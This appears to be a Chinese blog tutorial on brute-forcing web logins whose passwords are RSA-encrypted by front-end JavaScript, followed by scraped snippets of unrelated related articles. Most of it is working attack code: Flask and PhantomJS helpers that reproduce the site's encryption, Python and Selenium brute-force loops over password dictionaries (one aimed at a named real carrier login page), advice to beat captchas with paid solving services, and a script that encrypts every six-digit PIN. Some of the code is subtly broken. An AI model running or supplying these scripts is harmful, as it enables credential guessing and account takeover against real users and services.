对登录中账号密码进行加密之后再传输的爆破的思路和方式

一. 概述

渗透测试过程中遇到web登录的时候,现在很多场景账号密码都是经过js加密之后再请求发送(通过抓包可以看到加密信息)如图一burp抓到的包,request的post的登录包,很明显可以看到password参数的值是经过前端加密之后再进行传输的,遇到这种情况,普通发包的爆破脚本就很难爆破成功。鉴于这种情况,这边分析四种方式进行绕过加密爆破。

二. 方法和思路

1. 分析找出是哪个js文件进行了password参数值的加密,将该js导入本地动态执行,建一个小型的web服务器,利用浏览器页面将js运行起来,把账号密码发给本地这个服务器,然后本地js执行加密之后把加密的值再给登录的请求,实现普通的发包爆破。(这个时候普通的发包方式password参数的值就是加密之后的值)(这里渲染 js 可以用 webdrive 或者 phantomjs,或者 Node.js 都行)

2. 利用selenium webdriver,本地驱动一个浏览器,完全模拟浏览器的操作,实现浏览器自动登录爆破.(类似的工具,或者 Node.js,按键精灵,QTP 工具等都可以)

3. 通过对js里的加密算法进行破解,或者是理清加密流程,然后利用自己熟知的编程语言实现同样的加密方式(再下使用的是python),写一个效果一样的加密方式,然后把代码嵌入到发包爆破代码里,这种方式字典里账号密码传入的时候,先进行加密再传给登录请求。(也是实现普通的发包爆破)

4. 利用前面的方法,把密码字典全部加密之后生成对应加密字典,然后普通发包爆破的时候传入加密的字典。

三. 具体的分析

1. 第一种方式:本地动态执行js

1) 分析登录界面,根据登录按钮之后进行burp抓包,发现每次登陆之前都会先请求一个页面

而该页面返回的是一个json格式的m开头和e开头的值

下图是直接从浏览器访问的截图

根据元素定位,从登陆页面的 login()函数设置执行断点调试,理清密码利用 js 加密的一个过程,最后找出加密过程为登陆页面中的 rasEncode函数

contextPath:就是网站首页

str :是输入的密码的明文

url :contextPath+”抹掉的路径”,就是上面所说每次登陆之前去请求的页面,请求得到的就是modulus和exponent值

RSAPUB_KEY就是利用RSAUtils.getKeyPair函数加密modulus和exponent得到的值

enpassword就是最后我们在 第一张图里burp 里抓到密码经过 js加密之后的值。

enpassword过程是利用RSAUtils.encryptedString函数,使RSAPUB_KEY为加密秘钥对原始密码进行字符串编码的值进行加密的结果(encodeURIComponent是 JavaScript 中对字符串编码的函数)

document.getElementById(‘password’).value=enpassword,HTML 中一个方法,最好将 enpassword 的值给需要post 的password 字段。

该过程中使用到的最主要的就是RSAUtils.getKeyPair和RSAUtils.encryptedString这两个方法。

通过最 Sources 的搜索,发现这两个方法都是security.js 中定义的。

理清过程和找到对应的 js 之后,就可以将 security.js 文件保存到本地,利用 python(也可以用其他语言)编写一个简易的的服务器接收原始密码,计算输出 js 加密之后的密文。

实现如下:

server.py是起 简易server的脚本

security.js 就是上面找到的加密的 js

index.html获取原始密码的首页,result.html是进行加密的页面

server.py 的代码:

# -*- coding:utf-8 -*-from flask import Flask

from flask import render_template

from flask import request

app = Flask(__name__)

@app.route(‘/‘, methods=[‘GET‘, ‘POST‘])

def hello_world():

if request.method == ‘GET‘:

return render_template(‘index.html‘)

if request.method == ‘POST‘:

print request.form[‘modulus‘]

print request.form[‘exponent‘]

print request.form[‘password‘]

return render_template(‘result.html‘, modulus=request.form[‘modulus‘], exponent=request.form[‘exponent‘],password=request.form[‘password‘])

if __name__ == ‘__main__‘:

app.run(debug=True)

index.html 的代码:

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<title>Title</title>

</head>

<body>

<form method="post" action="/">

modulus:<input type="text" name="modulus" id="modulus"/><br>

exponent:<input type="text" name="exponent" id="exponent"/><br>

password:<input type="text" name="password" id="password"/><br>

<button type="submit">submit</button>

<br>

</form>

</body>

</html>

result.html 的代码:

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<title>Title</title>

<script src="static/security.js"></script>

</head>

<body>

<p id="modulus" style="display: none">{{ modulus }}</p><br>

<p id="exponent" style="display: none">{{ exponent }}</p><br>

<p id="result">Hello World!</p>

这个 js 脚本就是图七中加密的过程的精简

<script>

var RSAPUB_KEY = ‘‘;

var enpassword = ‘‘;

var modulus = document.getElementById(‘modulus‘).textContent;

var exponent = document.getElementById(‘exponent‘).textContent;

RSAPUB_KEY = RSAUtils.getKeyPair(exponent, ‘‘, modulus);

enpassword = RSAUtils.encryptedString(RSAPUB_KEY, encodeURIComponent(‘{{ password }}‘));

document.getElementById("result").innerHTML = enpassword;

console.log(enpassword);

</script>

</body>

</html>

server 运行起来之后打开的效果:

下图是最后的运行结果,这也是我们需要的加密之后的值

接着就是爆破的脚本brute.py通过python的request模块实现:

# -*- coding:utf-8 -*-

from selenium import webdriver
import requests
import json

class INFO:
    HEADER = ‘\033[95m‘
    OKBLUE = ‘\033[94m‘
    OKGREEN = ‘\033[92m‘
    WARNING = ‘\033[93m‘
    ARNING = ‘\033[93m‘
    FAIL = ‘\033[91m‘
    ENDC = ‘\033[0m‘
    BOLD = ‘\033[1m‘
    UNDERLINE = ‘\033[4m‘

    def __init__(self):
        self.SUCCESS = self.OKGREEN + self.BOLD + ‘Found SUCCESS!‘ + self.ENDC
        self.FAILED = self.FAIL + self.BOLD + ‘Found FAILED!‘ + self.ENDC

driver = webdriver.PhantomJS(executable_path="phantomjs")
session = ‘‘

def get_pubkey():
    pubkey_url = ‘https://xxx.xxxxx.xxx‘#这里就是图三和图四所说的登录之前都要先获取的modulus和exponent字段的 url, 其实这 get_pubkey 都不需要,最后发现每次请求的modulus和exponent都没有变。
    response_pub = requests.post(pubkey_url)
    txt = json.loads(response_pub.content)
    modulus = txt[‘modulus‘]
    exponent = txt[‘exponent‘]
    return modulus, exponent

#定义的get_enrsapassword函数就是获取加密之后的 password 值,这里利用PhantomJS对之前搭建的小型 server 的 index.html 和 result.html 页面进行渲染。
def get_enrsapassword(modulus, exponent, password):
    driver.get(‘http://127.0.0.1:5000‘)
    driver.find_element_by_id(‘modulus‘).send_keys(modulus)
    driver.find_element_by_id(‘exponent‘).send_keys(exponent)
    driver.find_element_by_id(‘password‘).send_keys(password)
    driver.find_element_by_tag_name(‘button‘).click()
    return driver.find_element_by_id(‘result‘).text#最后得到就是加密之后的 password 值

def verifyCode(session, url):
    #打验码的代码省略,因为这里涉及到自己打码平台的信息,账号密码等等,所以省略,验证码简单大家可以使用开源的 OCR 或者付费购买打码平台,很便宜。
    return verifyCode

def login_snmoblie(session, username, enrsapassword, password):
    login_url = ‘https://aa.bb.cccc.ddd/xxxxxxx‘
    verifyCode_url=‘http://aa.bb.cccc.ddd/lsdfghdfgh.png‘
    verifycode = verifyCode(session,verifyCode_url)

    data = {
        ‘userName‘: username,
        ‘password‘: enrsapassword,
        ‘verifyCode‘: verifycode,
        ‘OrCookies‘: ‘1‘,
        ‘loginType‘: ‘1‘,
        ‘fromUrl‘: ‘uiue/login_max.jsp‘,
        ‘toUrl‘: ‘http://www.xx.cccc.cn/xx/xxxxx/‘
    }

    logingres = session.post(login_url, data=data, allow_redirects=True)

    logingres_content = logingres.content

    con = re.findall(‘redirect.html‘, logingres_content)
    if con:
        print INFO().SUCCESS, INFO.OKGREEN + ‘ Find user:‘, username, ‘ and password:‘, password + INFO.ENDC
    else:
        print INFO().FAILED, INFO.FAIL + ‘Error user:‘, username, ‘and password:‘, password + INFO.ENDC

if __name__ == ‘__main__‘:
    print INFO.OKGREEN + ‘start brute force‘ + INFO.ENDC
    keys = get_pubkey()
    with open(‘dict.dict‘, ‘r‘) as user:
        for userinfo in user.readlines():
            session = requests.Session()
            enrsapassword = get_enrsapassword(keys[0], keys[1], userinfo.split(‘:‘)[1].strip())
            login_snmoblie(session, userinfo.split(‘:‘)[0].strip(), enrsapassword, userinfo.split(‘:‘)[1].strip())

爆破过程:

1.现将 server.py 运行起来

python server.py

2.然后运行爆破脚本

python brute.py

2. 第二种方式

利用selenium webdriver,(或者其他类似的自动化工具)本地驱动一个浏览器,完全模拟浏览器的操作,实现浏览器自动登录爆破。

webdriver的实现代码如下

# -*- coding:utf-8 -*-
from selenium import webdriver
import time
import requests

class INFO:
    HEADER = ‘\033[95m‘
    OKBLUE = ‘\033[94m‘
    OKGREEN = ‘\033[92m‘
    WARNING = ‘\033[93m‘
    ARNING = ‘\033[93m‘
    FAIL = ‘\033[91m‘
    ENDC = ‘\033[0m‘
    BOLD = ‘\033[1m‘
    UNDERLINE = ‘\033[4m‘

    def __init__(self):
        self.SUCCESS = self.OKGREEN + self.BOLD + ‘Found SUCCESS!‘ + self.ENDC
        self.FAILED = self.FAIL + self.BOLD + ‘Found FAILED!‘ + self.ENDC

def verifyCode(verifyCode_xpath):
    #利用 webdrive 这种驱动浏览器爆破的方式,打码就不能利用会话获取验证码,只能通过截图把当前页面的验证码截图下来,然后上传到打码平台进行打码
    #打验码的代码省略,因为这里涉及到自己打码平台的信息,账号密码等等,所以省略,验证码简单大家可以使用开源的 OCR 或者付费购买打码平台,很便宜。
    return verifyCode

def login(driver, username, password):

    driver.get(‘https://sn.ac.10086.cn/login‘)
    time.sleep(2)

    verifyCode_xpath = ‘//*[@id="verifyImg"]‘  #验证码的 xpath
    verifycode = verifyCode(verifyCode_xpath)

    driver.find_element_by_xpath(‘//*[@id="userName"]‘).send_keys(username)#获取用户名的 Xpath 并传值
    driver.find_element_by_xpath(‘//*[@id="password"]‘).send_keys(password)#获取密码的 Xpath,并传值
    driver.find_element_by_xpath(‘//*[@id="verifyCode"]‘).send_keys(verifycode)#获取验证码的 Xpath,并将打码结果传给他
    driver.find_element_by_xpath(‘//*[@id="shoujihaoma"]/p[6]/span‘).click()#点击登录

    login_url = ‘http://service.sn.10086.cn/app?service=page/MyMainPage&listener=initPage‘
    time.sleep(6)
    print driver.current_url

    if driver.check_result(url=login_url, exkeyword_xpath={‘//*[@id="loginButton"]‘: ‘登录‘}):

        print INFO().SUCCESS
    else:
        print INFO().FAILED
#if 语句进行登录成功与否的判定

if __name__ == ‘__main__‘:
    proxy = "127.0.0.1:8080" #添加代理选项是查看爆破的情况
    chrome_options = webdriver.ChromeOptions()
    chrome_options.add_argument(‘--proxy-server=%s‘ % proxy)
    driver = webdriver.Chrome(chrome_options=chrome_options)

    with open (‘dict‘, ‘r‘) as dict:
        users = dict.readlines()
        for U in users:
            username = U.split(‘:‘)[0].strip()
            password = U.split(‘:‘)[1].strip()
            login(driver, username, password)

3. 第三种方式,通过对js里的加密算法进行破解,或者是理清加密流程:

第一是完全读懂他加密算法的实现然后破解他的加密算法然后用自己熟知的编程语言重写实现对密码加密,或者不用读懂破解他的算法,理清他的逻辑照着写一个就行了,例如他用定义变量,你也定义变量,他循环你也循环,完全照抄翻译式的写一个即可。写一个效果一样的加密方式,然后把代码嵌入到发包爆破代码里,这种方式字典里账号密码传入的时候,先进行加密再传给登录请求。(也是实现普通的发包爆破)

我们可以简单看看他这里的实现逻辑,

从第一种方法分析中我们得知,这里就是实现密码加密的方法,简单的看是一个 RSA 家吗RSAUtils.getKeyPair函数利用exponent和modulus生成加密的公钥,然后RSAUtils.encryptedString利用公钥对密码进行加密,从断点调试中可以得知 RSAPUB_KEY类型是一个对象。

而调用RSAUtils.getKeyPair和RSAUtils.encryptedString这两个函数是 security.js 这个 js 文件里定义的加密方法。

下图是RSAUtils.encryptedString

去看了下标准的 RSA 加密算法,每次得到的 利用相同的公钥enpassword 都会变,因为添加的因子,但是这个 security.js 里的 js 每次的 enpassword 都是固定,所以跟标准的还是有出入,最后花了是哪个小时左右一直没有进展,就没有继续分析下去了。不过这里更多的是提供分析的思路。知道的大牛可以传授我姿势。(如果日后还有时间,会把具体的实现代码补上)

4. 第四种方式,利用上述的方法,把原始密码字典转换成加密之后的字典,然后普通发包爆破的时候传入加密的字典。

到时候字典做成对应的格式

例如

admin: admin的加密值

123456:123456的加密值

qwerty:qwerty 的加密值

做成上面这种字典,发包传入的是是加密之后的值,终端打出来或者爆破成功之后保存的却是原始的值,利用我上文用的这个 spilt 方式取值。

username = U.split(‘:‘)[0].strip()

password = U.split(‘:‘)[1].strip()

下面是我利用 html 写的一个简单转化的方法,写的很简单,没有实现保存保存的格式大家可以自行修改丰富,或者利用我第一种方式里的那个代码原理去实现

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<title>Title</title>

<script src="security.js"></script>

</head>

<body>

<p id="modulus" style="display: none">{{ modulus }}</p><br>

<p id="exponent" style="display: none">{{ exponent }}</p><br>

<p id="result">Hello World!</p>

<script>

var RSAPUB_KEY = ‘‘;

var enpassword = ‘‘;

var modulus = ‘009f8709656328cd8f93d6b862bde481ea0a52b17e7fa3e1875054095f1525715058b7398dc8e6696082de5412bf04576979e2534e89466a2c3ca4d8a6a82edd31860b3ad508664dc7367fe57b4cef6720adeadf64e8dc82f57295aa2bad50b19b7ca348568f4d7af79cd659afb79cf6a0fa63409c1f4f88e10c0b93a388292665‘;

var exponent = ‘010001‘;

var RSAPUB_KEY = RSAUtils.getKeyPair(exponent, ‘‘, modulus);

for(var ii=100000; ii<1000000; ii++) {

enpassword = RSAUtils.encryptedString(RSAPUB_KEY, ‘‘+ii);

console.log(enpassword);

}//这里我是用的循环加密我需要的6位的数字密码,大家可以在这里导入自己的字典实现循环加密得到对应的字典

</script>

</body>

</html>

时间: 2024-07-30 13:51:49

对登录中账号密码进行加密之后再传输的爆破的思路和方式的相关文章

c#程序中对密码进行加密的方法

在ADO.NET中,向数据库添加数据时,怎样对数据中的密码进行加密?(也就是说在数据表中也看不到用户的密 码,只是一些经过编译后的字符串,以防止数据库管理员利用用户的密码进行非法操作.)    首先,在c#WinForm程序中引入命名空间,"using System.Web.Security;",此命名空间是专门用来对程序进 行安全设置的:    其次,定义一个string类型的变量,用来接收用输入的密码:  string passWord = this.textBox1.Text.T

使用selenium进行密码破解(绕过账号密码JS加密)

经常碰到网站,账号密码通过js加密后进行提交.通过burp拦截抓到的账号密码是加密后的,所以无法通过burp instruder进行破解.只能模拟浏览器填写表单并点击登录按钮进行破解.于是想到了自动化web测试工具selenium,代码如下,测试效果还不错. package com.example.tests; import java.util.regex.Pattern;import java.io.BufferedReader;import java.io.File;import java.

kylin的配置账号密码的加密方法

kylin的配置账号密码的加密方法 kylin安装过程中,配置账户,其中密码是加密的.生成密码对应密文的 方法如下: import java.io.PrintStream; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import org.springframework.security.crypto.password.PasswordEncoder; public class KylinPas

账号密码数据库加密说明

一.加密算法选择 密码学中两种常见的密码算法为:对称密码算法和非对称密码算法. 对称密钥加密,又称私钥加密,即信息的发送方和接收方用一个密钥去加密和解密数据.它的最大优势是加/解密速度快,适合于对大数据量进行加密,但密钥管理困难. 非对称密钥加密,又称公钥密钥加密.它需要使用一对密钥来分别完成加密和解密操作,一个公开发布,即公开密钥,另一个由用户自己秘密保存,即私用密钥.信息发送者用公开密钥去加密,而信息接收者则用私用密钥去解密.公钥机制灵活,但加密和解密速度却比对称密钥加密慢得多. 对称加密算

cas-简单的验证cas服务器登录和读取数据库账号密码登录

环境win8+tomcat7+jdk7+cas-server-4.0.0-release 1. 首先到 http://downloads.jasig.org/ 地址下载 cas-server-4.0.0-release.zip,解压后到modules目录中找到cas-server-webapp-4.0.0.war,复制到tomcat的webapp目录下,修改名称为cas.war 2. (1)创建证书 keytool -genkey -alias mycas -keyalg RSA -keysiz

Linux基本安全措施、加强系统账号密码安全、系统引导和登录安全、用户切换、su、sudo、grub菜单

1. 基本安全措施 1.1系统账号清理 在Linux系统中,除了用户手动创建的以外,还包括随系统或程序安装过程中生成的其他大量用户,除了超级用户root外,其他大量账号只是用来维护系统运作.启动或保持服务进程,一般是不允许登录的,因此也成为非登录用户. 常见的非登录用户有:bin.adm.lp.mail.nobody.mysql.dbus.ftp.gdm.haldaemon等.为了确保系统安全,这些用户的登录Shell通常是/sbin/nologin,表示禁止终端登录,应确保不被人改动. 各种非

vue中使用cookies和crypto-js实现记住密码和加密

不多BB,搞快.搞快. 使用crypto-js加解密 第一步,安装 npm install crypto-js 第二步,在你需要的vue组件内import import CryptoJS from "crypto-js"; 第三步,使用 // Encrypt 加密 var cipherText = CryptoJS.AES.encrypt( "my message", "secretkey123" ).toString(); console.lo

c#登录时保存账号密码到cookie

登陆界面有用户名.密码输入框,一个’记住账号密码‘的复选框. 1.登录时,勾选‘记住账号密码‘复选框,则会把用户名密码保存在客户端cookie里,保存时间为最大值(直到用户清除浏览器缓存或者取消勾选’记住账号密码‘复选框): 2.登录时,取消勾选‘记住账号密码‘复选框,会清除cookie保存的用户名密码. 3.登录时,当修改了用户名密码,会判断cookie保存的值是否与输入的相同,如果不同,则会修改cookie的值. 4.登录时,当勾选了‘记住账号密码‘复选框,下次打开登录界面,‘记住账号密码‘

使用kettle转换中的JavaScript对密码进行加密和解密

日常开发中,为了确保账号和密码的安全,时常要对密码进行加密和解密.然而kettle是怎么对密码进行加密和解密的呢? 下面的代码需要再转换中的JavaScript中运行. var encrypted_password = 'not encrypted'; 加密(js中调用): encrypted_password = "Encrypted " + Packages.org.pentaho.di.core.encryption.Encr.encryptPassword(clear_pass